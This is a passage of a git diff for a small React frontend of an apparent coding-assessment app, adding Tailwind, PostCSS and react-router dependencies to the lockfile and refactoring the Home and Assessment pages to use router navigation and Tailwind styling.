+        "thenify-all": "^1.0.0"
+      }
+    },
     "node_modules/nanoid": {
       "version": "3.3.11",
       "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.11.tgz",
@@ -2874,6 +3369,36 @@
       "dev": true,
       "license": "MIT"
     },
+    "node_modules/normalize-path": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
+      "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/object-assign": {
+      "version": "4.1.1",
+      "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
+      "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/object-hash": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz",
+      "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 6"
+      }
+    },
     "node_modules/optionator": {
       "version": "0.9.4",
       "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz",
@@ -2957,6 +3482,13 @@
         "node": ">=8"
       }
     },
+    "node_modules/path-parse": {
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",
+      "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==",
+      "dev": true,
+      "license": "MIT"
+    },
     "node_modules/picocolors": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
@@ -2970,7 +3502,6 @@
       "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==",
       "dev": true,
       "license": "MIT",
-      "peer": true,
       "engines": {
         "node": ">=12"
       },
@@ -2978,10 +3509,30 @@
         "url": "https://github.com/sponsors/jonschlinkert"
       }
     },
+    "node_modules/pify": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
+      "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/pirates": {
+      "version": "4.0.7",
+      "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.7.tgz",
+      "integrity": "sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 6"
+      }
+    },
     "node_modules/postcss": {
-      "version": "8.5.10",
-      "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.10.tgz",
-      "integrity": "sha512-pMMHxBOZKFU6HgAZ4eyGnwXF/EvPGGqUr0MnZ5+99485wwW41kW91A4LOGxSHhgugZmSChL5AlElNdwlNgcnLQ==",
+      "version": "8.5.12",
+      "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.12.tgz",
+      "integrity": "sha512-W62t/Se6rA0Az3DfCL0AqJwXuKwBeYg6nOaIgzP+xZ7N5BFCI7DYi1qs6ygUYT6rvfi6t9k65UMLJC+PHZpDAA==",
       "dev": true,
       "funding": [
         {
@@ -3007,6 +3558,140 @@
         "node": "^10 || ^12 || >=14"
       }
     },
+    "node_modules/postcss-import": {
+      "version": "15.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz",
+      "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "postcss-value-parser": "^4.0.0",
+        "read-cache": "^1.0.0",
+        "resolve": "^1.1.7"
+      },
+      "engines": {
+        "node": ">=14.0.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.0.0"
+      }
+    },
+    "node_modules/postcss-js": {
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.1.0.tgz",
+      "integrity": "sha512-oIAOTqgIo7q2EOwbhb8UalYePMvYoIeRY2YKntdpFQXNosSu3vLrniGgmH9OKs/qAkfoj5oB3le/7mINW1LCfw==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/postcss/"
+        },
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/ai"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "camelcase-css": "^2.0.1"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >= 16"
+      },
+      "peerDependencies": {
+        "postcss": "^8.4.21"
+      }
+    },
+    "node_modules/postcss-load-config": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-6.0.1.tgz",
+      "integrity": "sha512-oPtTM4oerL+UXmx+93ytZVN82RrlY/wPUV8IeDxFrzIjXOLF1pN+EmKPLbubvKHT2HC20xXsCAH2Z+CKV6Oz/g==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/postcss/"
+        },
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/ai"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "lilconfig": "^3.1.1"
+      },
+      "engines": {
+        "node": ">= 18"
+      },
+      "peerDependencies": {
+        "jiti": ">=1.21.0",
+        "postcss": ">=8.0.9",
+        "tsx": "^4.8.1",
+        "yaml": "^2.4.2"
+      },
+      "peerDependenciesMeta": {
+        "jiti": {
+          "optional": true
+        },
+        "postcss": {
+          "optional": true
+        },
+        "tsx": {
+          "optional": true
+        },
+        "yaml": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/postcss-nested": {
+      "version": "6.2.0",
+      "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.2.0.tgz",
+      "integrity": "sha512-HQbt28KulC5AJzG+cZtj9kvKB93CFCdLvog1WFLf1D+xmMvPGlBstkpTEZfK5+AN9hfJocyBFCNiqyS48bpgzQ==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/postcss/"
+        },
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/ai"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "postcss-selector-parser": "^6.1.1"
+      },
+      "engines": {
+        "node": ">=12.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.14"
+      }
+    },
+    "node_modules/postcss-selector-parser": {
+      "version": "6.1.2",
+      "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz",
+      "integrity": "sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "cssesc": "^3.0.0",
+        "util-deprecate": "^1.0.2"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/postcss-value-parser": {
+      "version": "4.2.0",
+      "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz",
+      "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==",
+      "dev": true,
+      "license": "MIT"
+    },
     "node_modules/prelude-ls": {
       "version": "1.2.1",
       "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz",
@@ -3027,12 +3712,32 @@
         "node": ">=6"
       }
     },
+    "node_modules/queue-microtask": {
+      "version": "1.2.3",
+      "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz",
+      "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ],
+      "license": "MIT"
+    },
     "node_modules/react": {
       "version": "19.2.5",
       "resolved": "https://registry.npmjs.org/react/-/react-19.2.5.tgz",
       "integrity": "sha512-llUJLzz1zTUBrskt2pwZgLq59AemifIftw4aB7JxOqf1HY2FDaGDxgwpAPVzHU1kdWabH7FauP4i1oEeer2WCA==",
       "license": "MIT",
-      "peer": true,
       "engines": {
         "node": ">=0.10.0"
       }
@@ -3049,6 +3754,102 @@
         "react": "^19.2.5"
       }
     },
+    "node_modules/react-router": {
+      "version": "7.14.2",
+      "resolved": "https://registry.npmjs.org/react-router/-/react-router-7.14.2.tgz",
+      "integrity": "sha512-yCqNne6I8IB6rVCH7XUvlBK7/QKyqypBFGv+8dj4QBFJiiRX+FG7/nkdAvGElyvVZ/HQP5N19wzteuTARXi5Gw==",
+      "license": "MIT",
+      "dependencies": {
+        "cookie": "^1.0.1",
+        "set-cookie-parser": "^2.6.0"
+      },
+      "engines": {
+        "node": ">=20.0.0"
+      },
+      "peerDependencies": {
+        "react": ">=18",
+        "react-dom": ">=18"
+      },
+      "peerDependenciesMeta": {
+        "react-dom": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/react-router-dom": {
+      "version": "7.14.2",
+      "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-7.14.2.tgz",
+      "integrity": "sha512-YZcM5ES8jJSM+KrJ9BdvHHqlnGTg5tH3sC5ChFRj4inosKctdyzBDhOyyHdGk597q2OT6NTrCA1OvB/YDwfekQ==",
+      "license": "MIT",
+      "dependencies": {
+        "react-router": "7.14.2"
+      },
+      "engines": {
+        "node": ">=20.0.0"
+      },
+      "peerDependencies": {
+        "react": ">=18",
+        "react-dom": ">=18"
+      }
+    },
+    "node_modules/read-cache": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz",
+      "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "pify": "^2.3.0"
+      }
+    },
+    "node_modules/readdirp": {
+      "version": "3.6.0",
+      "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
+      "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "picomatch": "^2.2.1"
+      },
+      "engines": {
+        "node": ">=8.10.0"
+      }
+    },
+    "node_modules/readdirp/node_modules/picomatch": {
+      "version": "2.3.2",
+      "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz",
+      "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=8.6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/jonschlinkert"
+      }
+    },
+    "node_modules/resolve": {
+      "version": "1.22.12",
+      "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.12.tgz",
+      "integrity": "sha512-TyeJ1zif53BPfHootBGwPRYT1RUt6oGWsaQr8UyZW/eAm9bKoijtvruSDEmZHm92CwS9nj7/fWttqPCgzep8CA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "es-errors": "^1.3.0",
+        "is-core-module": "^2.16.1",
+        "path-parse": "^1.0.7",
+        "supports-preserve-symlinks-flag": "^1.0.0"
+      },
+      "bin": {
+        "resolve": "bin/resolve"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
     "node_modules/resolve-from": {
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",
@@ -3059,6 +3860,17 @@
         "node": ">=4"
       }
     },
+    "node_modules/reusify": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz",
+      "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "iojs": ">=1.0.0",
+        "node": ">=0.10.0"
+      }
+    },
     "node_modules/rollup": {
       "version": "4.60.1",
       "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.60.1.tgz",
@@ -3104,6 +3916,30 @@
         "fsevents": "~2.3.2"
       }
     },
+    "node_modules/run-parallel": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz",
+      "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "queue-microtask": "^1.2.2"
+      }
+    },
     "node_modules/scheduler": {
       "version": "0.27.0",
       "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz",
@@ -3120,6 +3956,12 @@
         "semver": "bin/semver.js"
       }
     },
+    "node_modules/set-cookie-parser": {
+      "version": "2.7.2",
+      "resolved": "https://registry.npmjs.org/set-cookie-parser/-/set-cookie-parser-2.7.2.tgz",
+      "integrity": "sha512-oeM1lpU/UvhTxw+g3cIfxXHyJRc/uidd3yK1P242gzHds0udQBYzs3y8j4gCCW+ZJ7ad0yctld8RYO+bdurlvw==",
+      "license": "MIT"
+    },
     "node_modules/shebang-command": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
@@ -3166,6 +4008,29 @@
         "url": "https://github.com/sponsors/sindresorhus"
       }
     },
+    "node_modules/sucrase": {
+      "version": "3.35.1",
+      "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.35.1.tgz",
+      "integrity": "sha512-DhuTmvZWux4H1UOnWMB3sk0sbaCVOoQZjv8u1rDoTV0HTdGem9hkAZtl4JZy8P2z4Bg0nT+YMeOFyVr4zcG5Tw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@jridgewell/gen-mapping": "^0.3.2",
+        "commander": "^4.0.0",
+        "lines-and-columns": "^1.1.6",
+        "mz": "^2.7.0",
+        "pirates": "^4.0.1",
+        "tinyglobby": "^0.2.11",
+        "ts-interface-checker": "^0.1.9"
+      },
+      "bin": {
+        "sucrase": "bin/sucrase",
+        "sucrase-node": "bin/sucrase-node"
+      },
+      "engines": {
+        "node": ">=16 || 14 >=14.17"
+      }
+    },
     "node_modules/supports-color": {
       "version": "7.2.0",
       "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
@@ -3179,6 +4044,80 @@
         "node": ">=8"
       }
     },
+    "node_modules/supports-preserve-symlinks-flag": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",
+      "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/tailwindcss": {
+      "version": "3.4.19",
+      "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.4.19.tgz",
+      "integrity": "sha512-3ofp+LL8E+pK/JuPLPggVAIaEuhvIz4qNcf3nA1Xn2o/7fb7s/TYpHhwGDv1ZU3PkBluUVaF8PyCHcm48cKLWQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@alloc/quick-lru": "^5.2.0",
+        "arg": "^5.0.2",
+        "chokidar": "^3.6.0",
+        "didyoumean": "^1.2.2",
+        "dlv": "^1.1.3",
+        "fast-glob": "^3.3.2",
+        "glob-parent": "^6.0.2",
+        "is-glob": "^4.0.3",
+        "jiti": "^1.21.7",
+        "lilconfig": "^3.1.3",
+        "micromatch": "^4.0.8",
+        "normalize-path": "^3.0.0",
+        "object-hash": "^3.0.0",
+        "picocolors": "^1.1.1",
+        "postcss": "^8.4.47",
+        "postcss-import": "^15.1.0",
+        "postcss-js": "^4.0.1",
+        "postcss-load-config": "^4.0.2 || ^5.0 || ^6.0",
+        "postcss-nested": "^6.2.0",
+        "postcss-selector-parser": "^6.1.2",
+        "resolve": "^1.22.8",
+        "sucrase": "^3.35.0"
+      },
+      "bin": {
+        "tailwind": "lib/cli.js",
+        "tailwindcss": "lib/cli.js"
+      },
+      "engines": {
+        "node": ">=14.0.0"
+      }
+    },
+    "node_modules/thenify": {
+      "version": "3.3.1",
+      "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz",
+      "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "any-promise": "^1.0.0"
+      }
+    },
+    "node_modules/thenify-all": {
+      "version": "1.6.0",
+      "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz",
+      "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "thenify": ">= 3.1.0 < 4"
+      },
+      "engines": {
+        "node": ">=0.8"
+      }
+    },
     "node_modules/tinyglobby": {
       "version": "0.2.16",
       "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.16.tgz",
@@ -3196,6 +4135,19 @@
         "url": "https://github.com/sponsors/SuperchupuDev"
       }
     },
+    "node_modules/to-regex-range": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+      "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "is-number": "^7.0.0"
+      },
+      "engines": {
+        "node": ">=8.0"
+      }
+    },
     "node_modules/ts-api-utils": {
       "version": "2.5.0",
       "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.5.0.tgz",
@@ -3209,6 +4161,13 @@
         "typescript": ">=4.8.4"
       }
     },
+    "node_modules/ts-interface-checker": {
+      "version": "0.1.13",
+      "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz",
+      "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==",
+      "dev": true,
+      "license": "Apache-2.0"
+    },
     "node_modules/type-check": {
       "version": "0.4.0",
       "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz",
@@ -3228,7 +4187,6 @@
       "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==",
       "dev": true,
       "license": "Apache-2.0",
-      "peer": true,
       "bin": {
         "tsc": "bin/tsc",
         "tsserver": "bin/tsserver"
@@ -3309,13 +4267,19 @@
         "punycode": "^2.1.0"
       }
     },
+    "node_modules/util-deprecate": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
+      "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==",
+      "dev": true,
+      "license": "MIT"
+    },
     "node_modules/vite": {
       "version": "7.3.2",
       "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.2.tgz",
       "integrity": "sha512-Bby3NOsna2jsjfLVOHKes8sGwgl4TT0E6vvpYgnAYDIF/tie7MRaFthmKuHx1NSXjiTueXH3do80FMQgvEktRg==",
       "dev": true,
       "license": "MIT",
-      "peer": true,
       "dependencies": {
         "esbuild": "^0.27.0",
         "fdir": "^6.5.0",
@@ -3437,7 +4401,6 @@
       "integrity": "sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg==",
       "dev": true,
       "license": "MIT",
-      "peer": true,
       "funding": {
         "url": "https://github.com/sponsors/colinhacks"
       }
diff --git a/frontend/package.json b/frontend/package.json
index 9c32c02..beebb31 100644
--- a/frontend/package.json
+++ b/frontend/package.json
@@ -10,8 +10,10 @@
     "preview": "vite preview"
   },
   "dependencies": {
+    "@tanstack/react-query": "^5.100.5",
     "react": "^19.2.0",
-    "react-dom": "^19.2.0"
+    "react-dom": "^19.2.0",
+    "react-router-dom": "^7.14.2"
   },
   "devDependencies": {
     "@eslint/js": "^9.39.1",
@@ -19,10 +21,13 @@
     "@types/react": "^19.2.7",
     "@types/react-dom": "^19.2.3",
     "@vitejs/plugin-react-swc": "^4.2.2",
+    "autoprefixer": "^10.5.0",
     "eslint": "^9.39.1",
     "eslint-plugin-react-hooks": "^7.0.1",
     "eslint-plugin-react-refresh": "^0.4.24",
     "globals": "^16.5.0",
+    "postcss": "^8.5.12",
+    "tailwindcss": "^3.4.19",
     "typescript": "~5.9.3",
     "typescript-eslint": "^8.48.0",
     "vite": "^7.3.1"
diff --git a/frontend/postcss.config.js b/frontend/postcss.config.js
new file mode 100644
index 0000000..2e7af2b
--- /dev/null
+++ b/frontend/postcss.config.js
@@ -0,0 +1,6 @@
+export default {
+  plugins: {
+    tailwindcss: {},
+    autoprefixer: {},
+  },
+}
diff --git a/frontend/src/App.css b/frontend/src/App.css
deleted file mode 100644
index bd0ee3c..0000000
--- a/frontend/src/App.css
+++ /dev/null
@@ -1,107 +0,0 @@
-.app-container {
-  min-height: 100vh;
-  display: flex;
-  align-items: center;
-  justify-content: center;
-  padding: 1rem;
-}
-
-.start-card {
-  width: 100%;
-  max-width: 360px;
-  margin: 0 auto;
-  text-align: center;
-}
-
-.assessment-page {
-  width: 100%;
-  max-width: none;
-}
-
-.assessment-container {
-  align-items: stretch;
-  justify-content: flex-start;
-  padding: 0;
-}
-
-.assessment-layout {
-  display: grid;
-  grid-template-columns: 1fr 2fr;
-  gap: 0;
-  margin: 0.75rem 0;
-  min-height: calc(100vh - 6rem);
-}
-
-.question-section {
-  border-right: 1px solid #c7c7c7;
-  padding: 0.75rem;
-}
-
-.right-section {
-  display: flex;
-  flex-direction: column;
-}
-
-.answer-section {
-  padding: 0.75rem;
-}
-
-.results-section {
-  border-top: 1px solid #c7c7c7;
-  padding: 0.75rem;
-}
-
-.results-section h2 {
-  margin-top: 0;
-}
-
-.answer-section textarea {
-  width: 100%;
-  min-height: 220px;
-  resize: vertical;
-}
-
-.start-card h1 {
-  margin-top: 0;
-}
-
-.form-row {
-  display: flex;
-  gap: 0.5rem;
-  justify-content: center;
-}
-
-.form-row input {
-  flex: 1;
-  padding: 0.35rem 0.5rem;
-}
-
-.form-row button {
-  padding: 0.35rem 0.75rem;
-}
-
-.message {
-  margin: 0.5rem 0 0;
-}
-
-.error {
-  color: #b00020;
-}
-
-@media (max-width: 480px) {
-  .form-row {
-    flex-direction: column;
-  }
-}
-
-@media (max-width: 800px) {
-  .assessment-layout {
-    grid-template-columns: 1fr;
-    min-height: auto;
-  }
-
-  .question-section {
-    border-right: 0;
-    border-bottom: 1px solid #c7c7c7;
-  }
-}
diff --git a/frontend/src/App.tsx b/frontend/src/App.tsx
deleted file mode 100644
index 8ff5453..0000000
--- a/frontend/src/App.tsx
+++ /dev/null
@@ -1,44 +0,0 @@
-import { useState } from 'react'
-import Assessment from './Assessment'
-import Home from './Home'
-
-function App() {
-  const [page, setPage] = useState<'home' | 'assessment'>('home')
-  const [name, setName] = useState('')
-  const [solution, setSolution] = useState('')
-  const [error, setError] = useState('')
-
-  const handleStart = () => {
-    const trimmedName = name.trim()
-
-    if (!trimmedName) {
-      setError('Enter name')
-      return
-    }
-
-    setError('')
-    console.log(trimmedName)
-    setPage('assessment')
-  }
-
-  if (page === 'assessment') {
-    return (
-      <Assessment
-        solution={solution}
-        onSolutionChange={setSolution}
-        onBack={() => setPage('home')}
-      />
-    )
-  }
-
-  return (
-    <Home
-      name={name}
-      error={error}
-      onNameChange={setName}
-      onStart={handleStart}
-    />
-  )
-}
-
-export default App
diff --git a/frontend/src/Assessment.tsx b/frontend/src/Assessment.tsx
index 42c8e3a..625897f 100644
--- a/frontend/src/Assessment.tsx
+++ b/frontend/src/Assessment.tsx
@@ -1,47 +1,50 @@
-import './App.css'
+import { useState } from 'react'
+import { useNavigate } from 'react-router-dom'
 
-type AssessmentProps = {
-    solution: string
-    onSolutionChange: (solution: string) => void
-    onBack: () => void
-}
-
-function Assessment({ solution, onSolutionChange, onBack }: AssessmentProps) {
-    return (
-        <main className="app-container assessment-container">
-            <section className="assessment-page">
-                <h1>CodeSCE Assessment</h1>
+function Assessment() {
+  const navigate = useNavigate()
+  const [solution, setSolution] = useState('')
 
-                <div className="assessment-layout">
-                    <section className="question-section">
-                        <p>
-                            Placeholder question text
-                        </p>
-                    </section>
+  return (
+    <main className="min-h-screen">
+      <section className="w-full">
+        <h1 className="text-2xl font-semibold p-3">CodeSCE Assessment</h1>
 
-                    <section className="right-section">
-                        <section className="answer-section">
-                            <textarea
-                                value={solution}
-                                onChange={(event) => onSolutionChange(event.target.value)}
-                            />
-                        </section>
+        <div className="grid grid-cols-1 md:grid-cols-[1fr_2fr] min-h-[calc(100vh-6rem)]">
+          <section className="p-3 border-b md:border-b-0 md:border-r border-gray-300">
+            <p>Placeholder question text</p>
+          </section>
 
-                        <section className="results-section">
-                            <h2>Compile Messages</h2>
-                            <p>Compile Messages Output Placeholder</p>
-                            <h2>Test Cases</h2>
-                            <p>Test Cases Output Placeholder</p>
-                        </section>
-                    </section>
-                </div>
+          <section className="flex flex-col">
+            <section className="p-3">
+              <textarea
+                value={solution}
+                onChange={(event) => setSolution(event.target.value)}
+                className="w-full min-h-[220px] resize-y border border-gray-300 rounded-md p-2"
+              />
+            </section>
 
-                <button type="button" onClick={onBack}>
-                    Back
-                </button>
+            <section className="p-3 border-t border-gray-300">
+              <h2 className="text-lg font-semibold">Compile Messages</h2>
+              <p>Compile Messages Output Placeholder</p>
+              <h2 className="text-lg font-semibold mt-2">Test Cases</h2>
+              <p>Test Cases Output Placeholder</p>
             </section>
-        </main>
-    )
+          </section>
+        </div>
+
+        <div className="p-3">
+          <button
+            type="button"
+            onClick={() => navigate('/')}
+            className="px-3 py-1.5 bg-gray-900 text-white rounded-md hover:bg-gray-800"
+          >
+            Back
+          </button>
+        </div>
+      </section>
+    </main>
+  )
 }
 
 export default Assessment
diff --git a/frontend/src/Home.tsx b/frontend/src/Home.tsx
index 9c3a906..1210004 100644
--- a/frontend/src/Home.tsx
+++ b/frontend/src/Home.tsx
@@ -1,35 +1,50 @@
-import './App.css'
+import { useState } from 'react'
+import { useNavigate } from 'react-router-dom'
 
-type HomeProps = {
-    name: string
-    error: string
-    onNameChange: (name: string) => void
-    onStart: () => void
-}
+function Home() {
+  const navigate = useNavigate()
+  const [name, setName] = useState('')
+  const [error, setError] = useState('')
+
+  const handleStart = () => {
+    const trimmedName = name.trim()
+
+    if (!trimmedName) {
+      setError('Enter name')
+      return
+    }
+
+    setError('')
+    navigate('/assessment', { state: { name: trimmedName } })
+  }
+
+  return (
